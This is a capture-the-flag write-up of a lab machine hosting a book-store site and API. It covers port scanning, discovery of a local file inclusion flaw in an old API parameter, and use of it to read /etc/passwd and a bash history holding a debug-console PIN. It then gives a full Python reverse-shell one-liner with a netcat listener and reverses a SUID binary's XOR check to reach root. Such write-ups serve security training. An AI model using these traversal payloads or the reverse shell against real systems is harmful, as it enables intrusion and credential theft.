nmap -sV -sC -v -oN scan.txt 10.10.242.39
Nmap 7.80 scan initiated Mon Nov 30 21:17:11 2020 as:
Increasing send delay for 10.10.242.39 from 0 to 5 due to 46 out of 151 dropped probes since last increase.
Nmap scan report for 10.10.242.39
Host is up (0.095s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 44:0e:60:ab:1e:86:5b:44:28:51:db:3f:9b:12:21:77 (RSA)
| 256 59:2f:70:76:9f:65:ab:dc:0c:7d:c1:a2:a3:4d:e6:40 (ECDSA)
|_ 256 10:9f:0b:dd:d6:4d:c7:7a:3d:ff:52:42:1d:29:6e:ba (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 834559878C5590337027E6EB7D966AEE
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Book Store
5000/tcp open http Werkzeug httpd 0.14.1 (Python 3.6.9)
| http-methods:
|_ Supported Methods: GET OPTIONS HEAD
| http-robots.txt: 1 disallowed entry
|_/api </p>
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We have SSH, a web service at port 80 and a web service at port 5000.
The main web app at port 80 was not very interesting. There was an endpoint /books.html
which displayed a random assortment of books by AJAX requests to an api running on port 5000. I decided to focus my efforts on port 5000 to enumerate the api.
When visiting http://$IP:5000
we get a static page which informs us about the following api endpoints:
/api/v2/resources/books/all (Retrieve all books and get the output in a json format)
/api/v2/resources/books/random4 (Retrieve 4 random records)
/api/v2/resources/books?id=1(Search by a specific parameter , id parameter)
/api/v2/resources/books?author=J.K. Rowling (Search by a specific parameter, this query will return all the books with author=J.K. Rowling)
/api/v2/resources/books?published=1993 (This query will return all the books published in the year 1993)
/api/v2/resources/books?author=J.K. Rowling&published=2003 (Search by a combination of 2 or more parameters)
I ran dirsearch on this port 5000 service:
Found interesting endpoint: http://10.10.242.39:5000/console
However, it requires a PIN to access it. Will come back to this, or try to find PIN.
All api endpoints that were provided, called /api/v2/...
I tried making calls to /api/v1/...
and this endpoint returned the same data as api/v2
This certainly caught my attention. Perhaps there are other endpoints at v1, or some vulnerability which was fixed in v2. I decided to look closer at the api calls made by the main website at /books.html
A quick look at the page source revealed that all static files were held under /assets/
I found file /assets/js/api.js
, which made the AJAX requests. At the very bottom of the source was a comment:
//the previous version of the api had a paramter which lead to local file inclusion vulnerability, glad we now have the new version which is secure.
My suspicions were correct. We know we have LFI, likely from a GET parameter.
I used arjun to look for parameters:
... and quickly discovered that the parameter show
was vulnerable to LFI:
http://10.10.242.39:5000/api/v1/resources/books?show=../../../../etc/passwd
Let's continue enumerating local files, and see if anything interesting exists.
In the working directory, I found user.txt and got the flag using with LFI:
http://10.10.242.39:5000/api/v1/resources/books?show=user.txt
I then looked at the users bash history and found the console PIN with LFI:
http://10.10.242.39:5000/api/v1/resources/books?show=.bash_history
I now had credentials for the console!
The console is simply a python interpreter. I was able to get a reverse shell by using:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.22.43",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
and using nc -lnvp 4444
locally to catch the reverse shell.
We are now logged in as user sid.
In /home/sid
there was an executable, try-harder
, with SUID bit. This means we can run this executable with root priveleges.
I ran strings on this executable and saw /bin/bash in the output, which tells me that we can get a root shell through this executable, somehow.
When running ./try-harder
we have the following prompt:
So now how do we find the magic number?
I disassembled the executable and started reversing.
In main, we use scanf
to get user input, xor the input with 0x1116
, xor the result of that with a local variable (in this case it is rbp-0x10, which is initialized with a value of 0x5db3
), and finally compare the result with 0x5dcd21f4
. If the result matches this constant, we have a root shell, otherwise the program says Incorrect Try Harder
and exits.
We have to solve the equation: $$ 0x5dcd21f4 = (input \oplus 0x1116) \oplus 0x5db3 $$
Using the identities, \(a \oplus a = 0\) and \(a \oplus 0 = a\), we can solve for input
:
$$ 0x5dcd21f4 = (input \oplus 0x1116) \oplus 0x5db3 $$
$$ input = 0x5dcd21f4 \oplus 0x5db3 \oplus 0x1116 $$
Giving this value in decimal representation to the executable gives us our root shell:
All that is left is to cat out the root flag:
cat /root/root.txt